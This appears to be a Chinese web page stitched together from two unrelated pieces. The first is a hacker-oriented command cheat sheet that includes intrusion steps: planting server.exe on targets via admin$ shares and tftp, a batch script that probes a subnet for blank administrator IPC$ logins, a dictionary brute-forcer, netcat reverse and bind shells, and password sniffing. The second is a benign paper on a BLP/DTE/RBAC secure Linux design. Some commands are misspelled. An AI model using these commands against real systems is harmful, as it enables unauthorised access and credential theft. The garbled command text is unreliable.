del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件，/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件，「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件

#2 二：

del /S /Q 目錄 或用：rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。（二個命令作用相同）
move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中，"> "和"> >" 是重定向命令
at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務，用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at \\ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,默認埠為23
open ip 連接到IP（屬telnet登陸後的命令）
telnet 在本機上直接鍵入telnet 將進入本機的telnet
路徑\文件名1 路徑\文件名2 /y 復制文件1到指定的目錄為文件2，用參數/y就同時取消確認你要改寫一份現存目錄文件
c:\srv.exe \\ip\admin$ 復制本地c:\srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件，註：2st.txt文件頭要空三排，參數：/b指二進制文件，/a指ASCLL格式文件
\\ip\admin$\svv.exe c:\ 或:\\ip\admin$\*.* 復制對方admini$共享下的srv.exe文件（所有文件）至本地C：
x 要復制的文件或目錄樹 目標地址\目錄名 復制文件和目錄樹，用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸後，將「IP」的server.exe下載到目標主機c:\server.exe 參數：-i指以二進制模式傳送，如傳送exe文件時用，如不加-i 則以ASCII模式（傳送文本文件模式）進行傳送
tftp -i 對方IP put c:\server.exe 登陸後，上傳本地c:\server.exe至主機
ftp ip 埠 用於上傳文件至伺服器或進行文件操作，默認埠為21。bin指用二進制方式傳送（可執行文件進）；默認為ASCII格式傳送(文本文件時)
route print 顯示出IP路由，將主要顯示網路地址Network addres，子網掩碼Netmask，網關地址Gateway addres，介面地址Interface
arp 查看和處理ARP緩存，ARP是名字解析的意思，負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化（最小化）運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件（目錄）的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔，只讀，系統，隱藏 屬性；用＋則是添加為某屬性
dir 查看文件，參數：/Q顯示文件及目錄屬系統哪個用戶，/T:C顯示文件創建時間，/T:A顯示文件上次被訪問時間，/T:W上次被修改時間
date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間，而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程序，並顯示出：請按任意鍵繼續....
if 在批處理程序中執行條件處理（更多說明見if命令及變數）
goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行（標簽必須單獨一行，且以冒號打頭，例如：「：start」標簽）
call 路徑\批處理文件名 從批處理程序中調用另一個批處理程序 （更多說明見call /?）
for 對一組文件中的每一個文件執行某個特定命令（更多說明見for命令及變數）
echo on或off 打開或關閉echo，僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字元串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色；0＝黑、1＝藍、2＝綠、3＝淺綠、4＝紅、5＝紫、6＝黃、7=白、8=灰、9=淡藍、A＝淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為：EntSky\ )

#3 三：

ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息（內存大小、系統版本、補丁版本、計算機名）
format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS
md 目錄名 創建目錄
replace 源文件 要替換文件的目錄 替換文件
ren 原文件名 新文件名 重命名文件名
tree 以樹形結構顯示出目錄，用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令＝字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行，重新調用win2k命令，並創建宏)。如：鎖定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解鎖：doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告；加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3，再選擇8,就可以更改telnet服務默認埠23為其它任何埠
exit 退出cmd.exe程序或目前，用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑\可執行文件的文件名 為可執行文件設置一個路徑。
cmd 啟動一個win2K命令解釋窗口。參數：/eff、/en 關閉、開啟命令擴展；更我詳細說明見cmd /?
regedit /s 注冊表文件名 導入注冊表；參數/S指安靜模式導入，無任何提示；
regedit /e 注冊表文件名 導出注冊表
cacls 文件名 參數 顯示或修改文件訪問控制列表（ACL）——針對NTFS格式時。參數：/D 用戶名:設定拒絕某用戶訪問；/P 用戶名:perm 替換指定用戶的訪問許可權；/G 用戶名:perm 賦予指定用戶訪問許可權；Perm 可以是: N 無，R 讀取， W 寫入， C 更改(寫入)，F 完全控制；例：cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶許可權列表
REM 文本內容 在批處理文件中添加註解
netsh 查看或更改本地網路配置情況

#4 四：

IIS服務命令：
iisreset /reboot 重啟win2k計算機（但有提示系統將重啟信息出現）
iisreset /start或stop 啟動（停止）所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用（禁用）Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時，若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務，將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間（秒）時，仍未停止Internet服務，若指定/rebootonerror參數，則電腦將會重新開機。預設值為重新啟動20秒，停止60秒，重新開機0秒。
FTP 命令： (後面有詳細說明內容)
ftp的命令行格式為:
ftp －v －d －i －n －g[主機名] －v 顯示遠程伺服器的所有響應信息。
－d 使用調試方式。
－n 限制ftp的自動登錄,即不使用.netrc文件。
－g 取消全局文件名。
help [命令] 或 ？[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中
get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批文件至本地主機
mput local-files 將本地主機中一批文件傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件
ascii 設定以ASCII方式傳送文件(預設值)
bin 或 image 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cp 返回上一級目錄
close 中斷與遠程伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連接,可指定連接埠
delete 刪除遠端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的文件名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的文件許可權
case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母
cd remote－dir 進入遠程主機目錄
cp 進入遠程主機目錄的父目錄
! 在本地機中執行交互shell，exit回到ftp環境,如!ls＊.zip

#5 五：

MYSQL 命令：
mysql -h主機地址 -u用戶名 －p密碼 連接MYSQL;如果剛安裝好MYSQL，超級用戶root是沒有密碼的。
（例：mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格，其它也一樣）
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by \"密碼\"; 增加新用戶。（注意：和上面不同，下面的因為是MYSQL環境中的命令，所以後面都帶一個分號作為命令結束符）
show databases; 顯示資料庫列表。剛開始時才兩個資料庫：mysql和test。mysql庫很重要它裡面有MYSQL的系統信息，我們改密碼和新增用戶，實際上就是用這個庫進行操作。
use mysql；
show tables; 顯示庫中的數據表
describe 表名; 顯示數據表的結構
create database 庫名; 建庫
use 庫名；
create table 表名 (欄位設定列表)； 建表
drop database 庫名;
drop table 表名； 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqlmp --opt school>school.bbb 備份資料庫：（命令在DOS的\\mysql\\bin目錄下執行）;注釋:將資料庫school備份到school.bbb文件，school.bbb是一個文本文件，文件名任取，打開看看你會有新發現。
win2003系統下新增命令（實用部份）：
shutdown /參數 關閉或重啟本地或遠程主機。
參數說明：/S 關閉主機，/R 重啟主機， /T 數字 設定延時的時間，范圍0～180秒之間， /A取消開機，/M //IP 指定的遠程主機。
例：shutdown /r /t 0 立即重啟本地主機（無延時）
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明：/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid，/IM 要終止的進程的進程名，/F 強制終止進程，/T 終止指定的進程及他所啟動的子進程。
tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。
參數說明：/M 列出當前進程載入的dll文件，/SVC 顯示出每個進程對應的服務，無參數時就只列出當前的進程。

#6 六：

Linux系統下基本命令： 要區分大小寫
uname 顯示版本信息（同win2K的 ver）
dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件（同win2K的 dir）
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄，注意cd 與..之間有空格。cd /返回到根目錄。
cat 文件名 查看文件內容
cat >abc.txt 往abc.txt文件中寫上內容。
more 文件名 以一頁一頁的方式顯示一個文本文件。
cp 復制文件
mv 移動文件
rm 文件名 刪除文件，rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄，目錄內沒有文檔。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查找字元串
diff 檔案文件比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami 查看自己的帳號名稱
groups 查看某人的Group
passwd 更改密碼
history 查看自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 黑客通常用它來編譯C語言寫的文件
su 許可權轉換為指定使用者
telnet IP telnet連接對方主機（同win2K），當出現bash$時就說明連接成功。
ftp ftp連接上某伺服器（同win2K）

附：批處理命令與變數

1：for命令及變數 基本格式：
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數，如：%i ，而指定一個變數則用：%%i ，而調用變數時用：%i% ，變數是區分大小寫的（%i 不等於 %I）。
批處理每次能處理的變數從%0—%9共10個，其中%0默認給批處理文件名使用，%1默認為使用此批處理時輸入的的第一個值，同理：%2—%9指輸入的第2-9個值；例：net use \\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3

(set):指定一個或一組文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),

command：指定對第個文件執行的命令，如：net use命令；如要執行多個命令時，命令這間加：& 來隔開
command_parameters：為特定命令指定參數或命令行開關

IN (set)：指在(set)中取值；DO command ：指執行command

參數：/L 指用增量形式；/F 指從文件中不斷取值，直到取完為止。
用法舉例：
@echo off
echo 用法格式：test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存為test.bat 說明：對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接，如果成功就把該IP存在test.txt中。

/L指用增量形式（即從1-254或254-1）；輸入的IP前面三位：*.*.*為批處理默認的 %1；%%G 為變數(ip的最後一位）；& 用來隔開echo 和net use 這二個命令；| 指建立了ipc$後，在結果中用find查看是否有"命令成功完成"信息；%1.%%G 為完整的IP地址；(1 1 254) 指起始值，增長量，結止值。
@echo off
echo 用法格式：ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存為：ok.exe 說明：輸入一個IP後，用字典文件d:\pass.dic來暴解d:\user.dic中的用戶密碼，直到文件中值取完為止。%%i為用戶名；%1為輸入的IP地址（默認）。

#7 七：

2：if命令及變數 基本格式：
IF [not] errorlevel 數字 命令語句 如果程序運行最後返回一個等於或大於指定數字的退出編碼，指定條件為「真」。
例：IF errorlevel 0 命令 指程序執行後返回的值為0時，就值行後面的命令；IF not errorlevel 1 命令指程序執行最後返回的值不等於1，就執行後面的命令。
0 指發現並成功執行（真）；1 指沒有發現、沒執行（假）。
IF [not] 字元串1==字元串2 命令語句 如果指定的文本字元串匹配（即：字元串1 等於 字元串2），就執行後面的命令。
例：「if "%2%"=="4" goto start」指：如果輸入的第二個變數為4時，執行後面的命令（注意：調用變數時就%變數名%並加" "）
IF [not] exist 文件名 命令語句 如果指定的文件名存在，就執行後面的命令。
例：「if not nc.exe goto end」指：如果沒有發現nc.exe文件就跳到":end"標簽處。
IF [not] errorlevel 數字 命令語句 else 命令語句或 IF [not] 字元串1==字元串2 命令語句 else 命令語句或 IF [not] exist 文件名 命令語句 else 命令語句 加上：else 命令語句後指：當前面的條件不成立時，就指行else後面的命令。注意：else 必須與 if 在同一行才有效。 當有del命令時需把del命令全部內容用< >括起來，因為del命令要單獨一行時才能執行，用上< >後就等於是單獨一行了；例如：「if exist test.txt. <del test.txt.> else echo test.txt.missing 」，注意命令中的「.」

（二）系統外部命令(均需下載相關工具)：

1、瑞士軍刀：nc.exe

參數說明：
-h 查看幫助信息
-d 後台模式
-e prog程序重定向，一但連接就執行〔危險〕
-i secs延時的間隔
-l 監聽模式，用於入站連接
-L 監聽模式，連接天閉後仍然繼續監聽，直到CTR+C
-n IP地址，不能用域名
-o film記錄16進制的傳輸
-p[空格]埠 本地埠號
-r 隨機本地及遠程埠
-t 使用Telnet交互方式
-u UDP模式
-v 詳細輸出，用-vv將更詳細
-w數字 timeout延時間隔
-z 將輸入，輸出關掉（用於掃錨時）
基本用法：
nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80埠
nc -l -p 80 開啟本機的TCP 80埠並監聽
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024埠
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在remote的TCP 5354埠
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell並反向連接192.168.0.2的5354埠
高級用法：
nc -L -p 80 作為蜜罐用1：開啟並不停地監聽80埠，直到CTR+C為止
nc -L -p 80 > c:\log.txt 作為蜜罐用2：開啟並不停地監聽80埠，直到CTR+C,同時把結果輸出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作為蜜罐用3-1：開啟並不停地監聽80埠，直到CTR+C,並把c:\honeyport.txt中內容送入管道中，亦可起到傳送文件作用
type.exe c:\honeyport | nc -L -p 80 作為蜜罐用3-2：開啟並不停地監聽80埠，直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
本機上用：nc -l -p 本機埠
在對方主機上用：nc -e cmd.exe 本機IP -p 本機埠 *win2K
nc -e /bin/sh 本機IP -p 本機埠 *linux,unix 反向連接突破對方主機的防火牆
本機上用：nc -d -l -p 本機埠 < 要傳送的文件路徑及名稱
在對方主機上用：nc -vv 本機IP 本機埠 > 存放文件的路徑及名稱 傳送文件到對方主機
備 註：
| 管道命令
< 或 > 重定向命令。「<」，例如：tlntadmn < test.txt 指把test.txt的內容賦值給tlntadmn命令
＠ 表示執行＠後面的命令，但不會顯示出來（後台執行）；例：＠dir c:\winnt >> d:\log.txt 意思是：後台執行dir，並把結果存在d:\log.txt中
>與>>的區別 ">"指：覆蓋；">>"指：保存到(添加到）。
如：@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二個命令分別執行二次比較看：用>>的則是把二次的結果都保存了，而用：>則只有一次的結果，是因為第二次的結果把第一次的覆蓋了。

#8 八：

2、掃錨工具：xscan.exe

基本格式
xscan -host <起始IP>[-<終止IP>] <檢測項目> [其他選項] 掃錨"起始IP到終止IP"段的所有主機信息
xscan -file <主機列表文件名> <檢測項目> [其他選項] 掃錨"主機IP列表文件名"中的所有主機信息
檢測項目
-active 檢測主機是否存活
-os 檢測遠程操作系統類型（通過NETBIOS和SNMP協議）
-port 檢測常用服務的埠狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫許可權
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 載入Nessus攻擊腳本
-all 檢測以上所有項目
其它選項
-i 適配器編號 設置網路適配器, <適配器編號>可通過"-l"參數獲取
-l 顯示所有網路適配器
-v 顯示詳細掃描進度
-p 跳過沒有響應的主機
-o 跳過沒有檢測到開放埠的主機
-t 並發線程數量,並發主機數量 指定最大並發線程數量和並發主機數量, 默認數量為100,10
-log 文件名 指定掃描報告文件名 (後綴為：TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測192.168.1.1-192.168.255.255網段內主機的所有漏洞，跳過無響應的主機
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測192.168.1.1-192.168.255.255網段內主機的標准埠狀態，NT弱口令用戶，最大並發線程數量為150，跳過沒有檢測到開放埠的主機
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測「hostlist.txt」文件中列出的所有主機的標准埠狀態，CGI漏洞，最大並發線程數量為200，同一時刻最多檢測5台主機，顯示詳細檢測進度，跳過沒有檢測到開放埠的主機

#9 九：

3、命令行方式嗅探器: xsniff.exe
可捕獲區域網內FTP/SMTP/POP3/HTTP協議密碼
參數說明
-tcp 輸出TCP數據報
-udp 輸出UDP數據報
-icmp 輸出ICMP數據報
-pass 過濾密碼信息
-hide 後台運行
-host 解析主機名
-addr IP地址 過濾IP地址
-port 埠 過濾埠
-log 文件名 將輸出保存到文件
-asc 以ASCII形式輸出
-hex 以16進制形式輸出

⑻ 畢業論文題目為"操作系統安全"大家認為應該往那個方向入手比較好最好幫忙列個題綱!!

摘要：本文介紹了BLP、DTE和RBAC三種安全策略訪問模型，並結合這三種安全策略模型，形成一個適應各類安全產品的實用操作系統。此設計方案遵循GB17859-1999[1]中規定的結構化保護級（相當於《TCSEC》標準的B2級[2]）的安全要求進行設計，並在Linux操作系統上得以實現。
關鍵字：安全技術；安全模型；Linux操作系統
中圖分類號：TP309 文獻標識碼：② 文章編號：
1. 引言
隨著社會信息化的發展，計算機安全問題日益嚴重，建立安全防範體系的需求越來越強烈。操作系統是整個計算機信息系統的核心，操作系統安全是整個安全防範體系的基礎，同時也是信息安全的重要內容。
本課題將通過研究操作系統的安全策略訪問模型，結合國內、外的相關安全標准和已有的先進技術，將密碼服務與高級別存取控制機制有機地結合起來，探索適合國情的安全操作系統結構，最終形成一個適應各類安全產品系統安全需求的結構化保護級（相當於TCSEC中規定的B2級）實用操作系統。並且通過推動安全操作系統的應用，取得良好的經濟效益和社會效益。
2. 安全模型
該類模型是從安全策略和訪問控制的角度描述安全系統，主要針對系統中主體對客體的訪問及其安全控制。[3]
2.1 多級安全及自主訪問策略模型
多級安全及自主訪問策略模型的每個主體在替代用戶之前，必須被配置最大安全級及標簽范圍；除某些可信客體外，每一個客體都要配置標簽范圍。
Bell&Lapala(BLP)模型[4,5]是最典型的信息保密性多級安全模型，包括強制訪問控制和自主訪問控制兩部分。強制訪問控制中的安全特性，要求對給定安全級別的主體，僅被允許對同一安全級別和較低安全級別上的客體進行「讀」，對給定安全級別上的主體，僅被允許向相同安全級別或較高安全級別上的客體進行「寫」，任意訪問控制允許用戶自行定義是否讓個人或組織存取數據。
2.2 多域安全策略模型
多域策略的基本思想是：賦予保護對象一種抽象的數據類型，該類型表明了保護對象要保護的完整性屬性，然後規定只有經授權的主動進程能替代用戶訪問這一完整性屬性，並限制該主動進程的活動范圍，使其獲得它應該完成目標以外的能力極小化。
DTE （Domain and Type Enforcement）模型[6]是近年來被較多的作為實現信息完整性保護的模型。該模型定義了多個域（Domain）和型（Type），並將系統中的主體分配到不同的域中，不同的客體分配到不同的型中，通過定義不同的域對不同的型的訪問許可權，以及主體在不同的域中進行轉換的規則來達到保護信息完整性的目的。
2.3 基於角色的訪問控制模型
基於角色的訪問控制模型的目的就是通過域隔離，確保對系統的完整性破壞的極小化。
RBAC模型[6]是基於角色的訪問控制模型。該模型主要用於管理特權，在基於權能的訪問控制中實現職責隔離及極小特權原理。其基本要素之間的關系如圖1所示：

圖1 RBAC基本要素關系
Fig.1 the relationship of basic elements in RBAC

在本系統中，將實現基於角色的授權和控制，支持角色互斥，不支持角色的繼承，不支持同一個用戶的多個角色。
3. 安全系統的設計
3.1 安全模型的設計
本系統中的安全伺服器將遵循改進的BLP模型、DTE模型以及RBAC模型來實現系統的安全策略。其中，BLP模型保護信息的機密性；DTE模型保護信息的完整性；RBAC模型是授權模型。通過三種模型的相互作用和制約，保證系統中的信息以及系統自身的安全性。圖2為本系統中三種模型以及重要功能的相互關系。

圖2 模型間的相互關系
Fig.2 the relationship of models

如圖2所示，授權策略RBAC是整個系統的基礎，它通過為用戶設置特定角色，影響IA控制、特權控制、多域訪問控制和強制訪問控制等基本功能，達到控制系統中用戶/主體對客體/對象的訪問目的。在本系統中，每個用戶都有且只有一個角色。為某個用戶給定一個角色，相當於給定該用戶的最大特權集、安全標記范圍、DTE域范圍和最小審計掩碼。該用戶的上述屬性只能夠在給定角色的范圍內指定。RBAC是通過最小特權、強制訪問控制（包括MAC機密性保護和DTE完整性保護）和安全審計等功能組合實現的。
而多域策略DTE和多級安全策略BLP則是在授權策略授權的基礎上，調用多域訪問控制和強制訪問控制功能，實現對客體/對象信息的完整性和機密性保護。
本系統在BLP模型的基礎上進行了一些改動：
1. 對BLP模型「上寫下讀」的信息流規則進行了限制，將其中的「上寫」改為：低安全等級的主體可以創建高安全等級的客體或向高安全等級的客體中添加信息，但是不能修改或刪除高安全等級客體中的原有信息。例如，低安全等級的主體可以在高安全等級目錄下（在通過了DAC和DTE檢查的情況下）創建新的文件（包括子目錄、命名管道等），但是不能刪除原有的文件（包括子目錄、命名管道等），也不能改寫高安全等級文件的內容；
2. 引入可信主體的概念，即：所謂可信主體，就是擁有多個安全級或一個安全級范圍的主體；
3. 引入可信客體的概念，即：所謂可信客體，就是擁有多個安全級或一個安全級范圍的客體。
本系統中DTE實現採用為主體/客體指定域/型標識（統稱為DTE標識）的方法，DTE策略將通過為主體賦「域」（Domain），為客體賦「型」（Type），並定義「域」和「型」之間的訪問許可權實現DTE完整性保護，並採用DTEL（DTE Language）語言進行描述，通過命令設置到系統核心。
核心中將為每個主體維護一個「域」標記，為每個文件維護一個「型」標記。當操作發生時，系統將根據主體「域」標記、文件「型」標記以及訪問控製表判斷是否允許操作發生。
原則上，構造一個安全系統必須同時兼顧用戶應用系統、O/S服務系統、Linux 內核、硬體這四個子系統，使它們都獲得有效的保護；但本系統主要關心用戶應用系統和Linux 內核系統，因為它們與Linux 系統安全聯系最直接。構築安全Linux 系統的最終目標就是支持各種安全應用，如果系統在構造之初就沒有區別地對待不同的應用，或者說不採取隔離的方式對待不同的應用，那麼這樣的系統是不實用的，因為不同的應用對系統安全可能造成的威脅是不同的。對用戶應用系統的控制，我們主要採用角色模型與DTE技術的結合；而對Linux 內核的控制，則通過權能訪問控制、增強的BLP模型及DTE策略來實現。
3.2 安全系統的結構設計

圖3 Linux 結構化保護級安全伺服器系統結構圖
Fig.3 the structure chart of Linux structure protection security server

圖3說明了本系統的體系結構。如圖3，用戶請求的系統操作進入核心後，首先經過安全策略執行點，調用相應的安全策略執行模塊，安全策略執行模塊讀取相關的系統安全信息和主/客體安全屬性，並調用安全策略判定模塊進行安全判定，決定是否允許用戶請求的操作繼續執行；當用戶請求的系統操作得到允許並執行結束後，再次通過安全策略執行點，進行相關安全信息/屬性的設置和安全審計。
安全伺服器中的功能模塊與原有的系統操作是相對獨立的，雙方通過hook函數進行聯系。通過改變hook函數的指向，可以啟用不同的安全伺服器。不同的安全伺服器可以選擇不同的安全策略，從而達到支持多安全策略的目的。
3.3 安全系統的功能特性
安全系統在原有Linux操作系統基礎上，新增了的強制訪問控制、最小特權管理、可信路徑、隱通道分析和加密卡支持等功能組成，系統的主要功能如下：
1. 標識與鑒別
標識與鑒別功能用於保證只有合法的用戶才能存取系統資源。本系統的標識與鑒別部分包括角色管理、用戶管理和用戶身份鑒別等三個部分：
 角色管理是實現RBAC模型的重要部分，將角色配置文件存放在/etc/security/role文件中，角色管理就是對角色配置文件的維護。
 用戶管理就是對用戶屬性文件的維護，是在系統原有用戶管理的基礎上修改和擴充而來；本系統改變了原有系統集中存放用戶屬性的方式，在/etc/security/ia目錄下為每個用戶創建一個屬性文件。
 用戶身份鑒別過程就是控制用戶與系統建立會話的過程；本系統將修改原有系統的pam模塊和建立會話的程序，增加對管理員用戶的強身份鑒別（使用加密卡），增加為用戶設置初始安全屬性（特權集、安全標記、域、審計掩碼）的功能。
2. 自主訪問控制（DAC）
用於進行按用戶意願的存取控制。使用DAC，用戶可以說明其資源允許系統中哪個(些)用戶使用何種許可權進行共享。
本系統在自主訪問控制中加入ACL機制。利用ACL，用戶能夠有選擇地授予其他用戶某些存取許可權，來對信息進行保護，防止信息被非法提取。
3. 強制訪問控制（MAC）
提供基於數據保密性的資源存取控制方法。MAC是多級安全及自主訪問策略的具體應用，通過限制一個用戶只能在低級別上讀訪問信息、只能在自身的級別上寫訪問信息，來加強對資源的控制能力，從而提供了比DAC更嚴格的訪問約束。
4. 安全審計
審計是模擬社會監督機制而引入到計算機系統中，用於監視並記錄系統活動的一種機制。審計機制的主要目標是檢測和判定對系統的滲透，識別操作並記錄進程安全級活動的情況。
本系統中的審計事件分為可信事件與系統調用。系統對每個用戶審計的內容不同，需要設置系統的審計事件掩碼和用戶的審計事件掩碼。在形成審計記錄時，核心將根據審計掩碼進行選擇。
5. 客體重用
客體重用是指TSF必須確保受保護資源內的任何信息，在資源被重用時不會被泄露。
客體重用功能可以防止重要的客體介質在重新分配給其他主體的時候產生信息泄漏。在本系統中，出於系統效率和可靠性的考慮，只實現對核心重要數據結構剩餘信息的自動清除和文件內容的人工清除。
6. 最小特權管理
根據《TESCE》B2級中提出的最小特權原理，系統中的每個進程只應具有完成其任務和功能所需要的最小特權。因此，在本系統中開發了一種靈活的特權管理機制，把超級用戶的特權劃分成一組細粒度特權的集合，通過對系統中用戶和進程特權的賦值、繼承和傳遞的控制，將其中的部分特權賦給系統中的某個用戶，從而使系統中的普通用戶也能具有部分特權來操作和管理系統。
7. 可信路徑
可信路徑要求為用戶提供與系統交互的可信通道。可信路徑的實現方法是通過核心對安全注意鍵的監控，並退出當前終端下的所有應用程序，啟動新的可信登陸程序。
根據《TESEC》B2級對可信通路的要求，在本系統中開發了可信通路機制，以防止特洛伊木馬等欺詐行為的發生。用戶無論在系統的什麼狀態下，只要激活一個安全注意鍵（一般設置為Ctrl-Alt-A），就可以進入一個安全的登錄界面。另外，本系統還採用了管理員用戶的強身份認證和建立加密通道等技術，也可以保證用戶與系統間交互的安全性。
8. 隱蔽通道分析
我國《計算機信息系統安全保護等級劃分准則》[1]要求第四級及以上級別安全信息系統產品必須分析與處理隱蔽通道。本系統掩蔽通道分析將基於源代碼，採用下列方法進行：
分析所有操作，列出操作及其涉及的共享資源（客體屬性）
 列出操作與共享資源的關系圖
 找出所有可能的存儲隱蔽通道
 分析、標識每個存儲隱蔽通道，並給出帶寬
9. 加密卡支持
本系統基於國產密碼硬體資源，實現的密碼服務主要包括三個方面：
文件存儲加解密：在命令層為用戶提供一套SHELL命令，實現文件的機密性、完整性保護，同時提供一套介面庫函數，供用戶編程使用。
特權用戶強身份認證：結合RBAC、DTE策略，對特權（角色）用戶實施強身份認證。
數據傳輸加解密：在核心提供一套函數介面，用於實現數據的機密性和完整性。
4. 結論
本方案通過對Linux核心結構和操作系統域外層安全體系的層次結構的研究，遵循國內、外的相關安全標准，將三種安全策略模型和已有的先進技術有機地結合起來，增加了強制訪問控制、最小特權、可信路徑等安全功能，成功的在Linux操作系統上得已實現，基本達到了GB17859-1999中規定的結構化保護級（相當於《TCSEC》標準的B2級）的要求。
